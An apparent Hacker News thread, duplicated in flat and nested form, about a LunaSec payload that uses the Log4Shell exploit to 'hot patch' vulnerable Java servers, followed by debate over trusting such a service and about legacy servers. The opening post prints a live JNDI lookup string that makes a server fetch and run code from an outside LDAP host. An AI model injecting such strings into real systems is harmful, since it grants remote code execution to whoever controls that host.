7 ms·

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste tha

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.) 0: https://github.com/lunasec-io/lunasec/releases/ https://github.com/lunasec-io/lunasec/releases/ 1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4shell https://github.com/lunasec-io/lunasec/tree/master/tools/log4... 2: https://github.com/Cybereason/Logout4Shell https://github.com/Cybereason/Logout4Shell

teruakohatu 5y ago
How does the hot patch work?
- freeqaz 5y ago
  It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell). Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file. There is a good talk on JNDI exploits in that[0] blog post if you want more details. :) 0: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exploit-works https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exp... 1: https://github.com/lunasec-io/lunasec/blob/master/tools/log4shell/payloads/hotpatch-payload/src/main/java/Log4ShellHotpatch.java https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
  - avodonosov 5y ago
    More precisely, it does not rewrite classes, but just changes log4j configuration programmatically.
  - blondin 5y ago
    uses the exploit to mitigate the exploit. brilliant!
  - indigodaddy 5y ago
    Interesting.. kind of like a vaccine!
tbirdny 5y ago
Logout4Shell is clever but would require you know where to put the string so it gets logged by the app. So, you have to know how to exploit the app. It could be in the user-agent header, or somewhere else entirely depending on the app. And, the fix wouldn't be permanent, only until the app was restarted. And, in a load-balanced environment you would need to make sure you hit each server.
- freeqaz 5y ago
  That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least. I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options. Blows my mind, but that's reality (apparently)!
  - NaturalPhallacy 5y ago
    I would run screaming from such an organization.
    - stickfigure 5y ago
      I run screaming towards such organizations. Higher bill rates!
      - hvgk 5y ago
        This person gets it. As always if it’s a shit show, charge by the hour and get double time! If it’s easy charge by the job and spend two months getting paid to play solitaire!
    - shakna 5y ago
      I've helped out orgs where they had a listing of servers, but couldn't tell me what purpose, if any, they served. You have multiple entire architecture rebuilds, deprecating various parts, whilst people come and go and take their knowledge with them leaving documentation behind that is outdated enough to be more harmful than helpful. Reality is a messy thing.
albert_e 5y ago
[flagged]
Bluecobra 5y ago
Now that is really clever. One of affected products I use is Juniper Space to monitor our network infrastructure (which uses OpenNMS). Juniper’s only workaround currently is to completely disable OpenNMS, thereby leaving us in the dark for monitoring. This would be an excellent workaround, though I have been unable to trigger any PoC code.
- freeqaz 5y ago
  Shoot me an email -- we are also offering this "live patching" idea as a service now (due to Log4Shell). free at lunasec daht io (or use the contact form on https://www.lunasec.io https://www.lunasec.io instead) It's just a Java dependency that you add to your classpath. Under the hood, it regularly checks for patches, and then live updates to patch a vulnerability (like Log4Shell) without you ever needing to do anything. The Open Source release is still a WIP (the Golang one here is a subset) but we have some paying customers for it already. Log4Shell has really accelerated the number of people asking us for this though! Edit: We're offering basically this[0] project but commercially supported and, when the next Log4Shell happens, it'll patch your usage automatically. 0: https://github.com/corretto/hotpatch-for-apache-log4j2 https://github.com/corretto/hotpatch-for-apache-log4j2
  - eptcyka 5y ago
    One has to be very trusting of you to give you an RCE to plug security holes
    - hutzlibu 5y ago
      If you do not trust them, you probably should not use their code, without deeper examination, either.
      - yccs27 5y ago
        The bigger problem is: You not only have to trust their good intentions now, but you also need to be able to trust them in the future, as long as the script is active. Additionally, you have to trust/hope that the patch security is absolutely waterproof and does not give RCE to attackers.
DeepYogurt 5y ago
What a wonderful attack vector.
eitland 5y ago
Heh. I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo. I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1]. In this case however the advantages might actually outweigh the risks as long as it is done carefully. [1]: others mention services or servers that no one know how to restart anymore.
- kergonath 5y ago
  > others mention services or servers that no one know how to restart anymore. This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?
  - eitland 5y ago
    Because last time it happened you had 1.) to call in an old consultant/employee 2.) that you know is now unavailable. The first part of that has been true at especially one place I worked though and while luckily he was still available it was still terrifying since he had left behind a proper Rube Goldberg machine. If he had been unavailable we would have had spent days and would probably just have had to recreate it from scratch (I watched him closely while he fixed it and it was a mix of at least from the top of my head: undocumented services, certificates that were expired, accounts with passwords that were unknown.) I've also experienced to be the one that was called to because the IT manager remembered that I used to be the guy who knew how to fix a certain problem with Sybase Adaptive Server Anywhere. I had documented everything I ever knew and could think of about it but it turned out someone there had "cleaned up" a bit.
  - reaperducer 5y ago
    This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late? This happens a lot in the real (non-computer) world, too. There are all kinds of mechanical things that were built without any thought that they might be turned off some day. Some are big things, like factories and refineries. I first read about this (probably in the Times) some decades ago when old apartment buildings in NYC were starting to switch their heating to better/cheaper fuel sources. Some couldn't do it simply because the boiler systems were never designed to be turned off. Ever. They had no safe way of shutting the things down.
deleted 5y ago
[deleted]
hawk_ 5y ago
people should rename their iphone, tesla [0] and other devices to this to patch servers! [0] https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sms-log4shell-log4j-exploit-researchers-test https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...
YetAnotherNick 5y ago
While brilliant, I don't think anyone should actually be content after running this in their server. The patch won't work in case of multiple pods, and won't be applied again in case you redeploy the code
- m12k 5y ago
  Yeah, this should come with a note that this is intended for people with slow redeployment pipelines, to protect them until they can actually deploy a permanent fix.
freeqaz 5y ago
We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell) I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep! Good night, y'all. :) 0: https://www.lunasec.io/docs/blog/log4shell-live-patch/ https://www.lunasec.io/docs/blog/log4shell-live-patch/
- sporkland 5y ago
  I'm seeing instances of it making the debt worse rather than better. E.g. some folks are just forcing latest log4j libs into builds even for services that don't have it or need it in central dependencies, as it's more expedient than trying to be precise and only bump where necessary. Leading to more risk over time.
  - watwut 5y ago
    You mean that they are adding log4j maven dependency where there was none?
    - dboreham 5y ago
      Reminds me of the advice to use two STOP statements in a Fortran program if you run it on a Cray. It's so fast that it could blow straight through the first one.
    - sporkland 5y ago
      Yes
      - Hallucinaut 5y ago
        Whilst that is ridiculous if they're bringing in a new dependency, if I squint I can see the thought process. Transitive dependencies are far harder to be certain about. It took a few seconds to scan our company's entire code base for log4j2. But there's no easy way to verify that none of them might depend on, say, Spring Boot Web Starter, which brings in umpteen other dependencies. Sure, you can resolve dependencies in each project and check at the individual level that the resolved dependencies for runtime don't include log4j2 but it's much more onerous. And you can take away that risk by declaring it in your parent POM so the version is fixed, regardless of what transitive deps may use. Of course, I would always say if this what was being done, using the dependencyManagement would be a better solution. But a lot of this work will be under duress and in my experience the majority of people using systems like Maven don't really understand it.
fuzzybear3965 5y ago
You're like the Pfizer of the JVM.
avodonosov 5y ago
It is interesting to note that this type of hotpatching will be prevented by the "strong encapsulation" new Java introduces. BTW, the java code that actuanlly performs the patching : https://github.com/lunasec-io/lunasec/blob/master/tools/log4shell/payloads/hotpatch-payload/src/main/java/Log4ShellHotpatch.java https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
gunnarmorling 5y ago
I'm sure they mean well, but I'd highly recommend to every user to be very careful about using services like this. Do you know whether you can trust them? Is their operations mature enough for handling the attacks they are guaranteed to receive? After all, a system receiving requests by folks suspecting they are vulnerable, makes a highly attractive target itself. In fact, I wouldn't be surprised if we see services of this kind provided by malicious actors. Really, people should just update, or only use offline tools for analysis and mitigation like [1] which they can audit and run locally. [1] https://github.com/jerrinot/log4shell-ldap/ https://github.com/jerrinot/log4shell-ldap/

teruakohatu 5y ago

How does the hot patch work?

freeqaz 5y ago
It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell). Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file. There is a good talk on JNDI exploits in that[0] blog post if you want more details. :) 0: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exploit-works https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exp... 1: https://github.com/lunasec-io/lunasec/blob/master/tools/log4shell/payloads/hotpatch-payload/src/main/java/Log4ShellHotpatch.java https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
- avodonosov 5y ago
  More precisely, it does not rewrite classes, but just changes log4j configuration programmatically.
- blondin 5y ago
  uses the exploit to mitigate the exploit. brilliant!
- indigodaddy 5y ago
  Interesting.. kind of like a vaccine!

tbirdny 5y ago

Logout4Shell is clever but would require you know where to put the string so it gets logged by the app. So, you have to know how to exploit the app. It could be in the user-agent header, or somewhere else entirely depending on the app. And, the fix wouldn't be permanent, only until the app was restarted. And, in a load-balanced environment you would need to make sure you hit each server.

freeqaz 5y ago
That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least. I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options. Blows my mind, but that's reality (apparently)!
- NaturalPhallacy 5y ago
  I would run screaming from such an organization.
  - stickfigure 5y ago
    I run screaming towards such organizations. Higher bill rates!
    - hvgk 5y ago
      This person gets it. As always if it’s a shit show, charge by the hour and get double time! If it’s easy charge by the job and spend two months getting paid to play solitaire!
  - shakna 5y ago
    I've helped out orgs where they had a listing of servers, but couldn't tell me what purpose, if any, they served. You have multiple entire architecture rebuilds, deprecating various parts, whilst people come and go and take their knowledge with them leaving documentation behind that is outdated enough to be more harmful than helpful. Reality is a messy thing.

albert_e 5y ago

[flagged]

Bluecobra 5y ago

Now that is really clever. One of affected products I use is Juniper Space to monitor our network infrastructure (which uses OpenNMS). Juniper’s only workaround currently is to completely disable OpenNMS, thereby leaving us in the dark for monitoring. This would be an excellent workaround, though I have been unable to trigger any PoC code.

freeqaz 5y ago
Shoot me an email -- we are also offering this "live patching" idea as a service now (due to Log4Shell). free at lunasec daht io (or use the contact form on https://www.lunasec.io https://www.lunasec.io instead) It's just a Java dependency that you add to your classpath. Under the hood, it regularly checks for patches, and then live updates to patch a vulnerability (like Log4Shell) without you ever needing to do anything. The Open Source release is still a WIP (the Golang one here is a subset) but we have some paying customers for it already. Log4Shell has really accelerated the number of people asking us for this though! Edit: We're offering basically this[0] project but commercially supported and, when the next Log4Shell happens, it'll patch your usage automatically. 0: https://github.com/corretto/hotpatch-for-apache-log4j2 https://github.com/corretto/hotpatch-for-apache-log4j2
- eptcyka 5y ago
  One has to be very trusting of you to give you an RCE to plug security holes
  - hutzlibu 5y ago
    If you do not trust them, you probably should not use their code, without deeper examination, either.
    - yccs27 5y ago
      The bigger problem is: You not only have to trust their good intentions now, but you also need to be able to trust them in the future, as long as the script is active. Additionally, you have to trust/hope that the patch security is absolutely waterproof and does not give RCE to attackers.

DeepYogurt 5y ago

What a wonderful attack vector.

eitland 5y ago

Heh. I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo. I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1]. In this case however the advantages might actually outweigh the risks as long as it is done carefully. [1]: others mention services or servers that no one know how to restart anymore.

kergonath 5y ago
> others mention services or servers that no one know how to restart anymore. This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?
- eitland 5y ago
  Because last time it happened you had 1.) to call in an old consultant/employee 2.) that you know is now unavailable. The first part of that has been true at especially one place I worked though and while luckily he was still available it was still terrifying since he had left behind a proper Rube Goldberg machine. If he had been unavailable we would have had spent days and would probably just have had to recreate it from scratch (I watched him closely while he fixed it and it was a mix of at least from the top of my head: undocumented services, certificates that were expired, accounts with passwords that were unknown.) I've also experienced to be the one that was called to because the IT manager remembered that I used to be the guy who knew how to fix a certain problem with Sybase Adaptive Server Anywhere. I had documented everything I ever knew and could think of about it but it turned out someone there had "cleaned up" a bit.
- reaperducer 5y ago
  This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late? This happens a lot in the real (non-computer) world, too. There are all kinds of mechanical things that were built without any thought that they might be turned off some day. Some are big things, like factories and refineries. I first read about this (probably in the Times) some decades ago when old apartment buildings in NYC were starting to switch their heating to better/cheaper fuel sources. Some couldn't do it simply because the boiler systems were never designed to be turned off. Ever. They had no safe way of shutting the things down.

deleted 5y ago

[deleted]

hawk_ 5y ago

people should rename their iphone, tesla [0] and other devices to this to patch servers! [0] https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sms-log4shell-log4j-exploit-researchers-test https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...

YetAnotherNick 5y ago

While brilliant, I don't think anyone should actually be content after running this in their server. The patch won't work in case of multiple pods, and won't be applied again in case you redeploy the code

m12k 5y ago
Yeah, this should come with a note that this is intended for people with slow redeployment pipelines, to protect them until they can actually deploy a permanent fix.

freeqaz 5y ago

We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell) I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep! Good night, y'all. :) 0: https://www.lunasec.io/docs/blog/log4shell-live-patch/ https://www.lunasec.io/docs/blog/log4shell-live-patch/

sporkland 5y ago
I'm seeing instances of it making the debt worse rather than better. E.g. some folks are just forcing latest log4j libs into builds even for services that don't have it or need it in central dependencies, as it's more expedient than trying to be precise and only bump where necessary. Leading to more risk over time.
- watwut 5y ago
  You mean that they are adding log4j maven dependency where there was none?
  - dboreham 5y ago
    Reminds me of the advice to use two STOP statements in a Fortran program if you run it on a Cray. It's so fast that it could blow straight through the first one.
  - sporkland 5y ago
    Yes
    - Hallucinaut 5y ago
      Whilst that is ridiculous if they're bringing in a new dependency, if I squint I can see the thought process. Transitive dependencies are far harder to be certain about. It took a few seconds to scan our company's entire code base for log4j2. But there's no easy way to verify that none of them might depend on, say, Spring Boot Web Starter, which brings in umpteen other dependencies. Sure, you can resolve dependencies in each project and check at the individual level that the resolved dependencies for runtime don't include log4j2 but it's much more onerous. And you can take away that risk by declaring it in your parent POM so the version is fixed, regardless of what transitive deps may use. Of course, I would always say if this what was being done, using the dependencyManagement would be a better solution. But a lot of this work will be under duress and in my experience the majority of people using systems like Maven don't really understand it.

fuzzybear3965 5y ago

You're like the Pfizer of the JVM.

avodonosov 5y ago

It is interesting to note that this type of hotpatching will be prevented by the "strong encapsulation" new Java introduces. BTW, the java code that actuanlly performs the patching : https://github.com/lunasec-io/lunasec/blob/master/tools/log4shell/payloads/hotpatch-payload/src/main/java/Log4ShellHotpatch.java https://github.com/lunasec-io/lunasec/blob/master/tools/log4...

gunnarmorling 5y ago

I'm sure they mean well, but I'd highly recommend to every user to be very careful about using services like this. Do you know whether you can trust them? Is their operations mature enough for handling the attacks they are guaranteed to receive? After all, a system receiving requests by folks suspecting they are vulnerable, makes a highly attractive target itself. In fact, I wouldn't be surprised if we see services of this kind provided by malicious actors. Really, people should just update, or only use offline tools for analysis and mitigation like [1] which they can audit and run locally. [1] https://github.com/jerrinot/log4shell-ldap/ https://github.com/jerrinot/log4shell-ldap/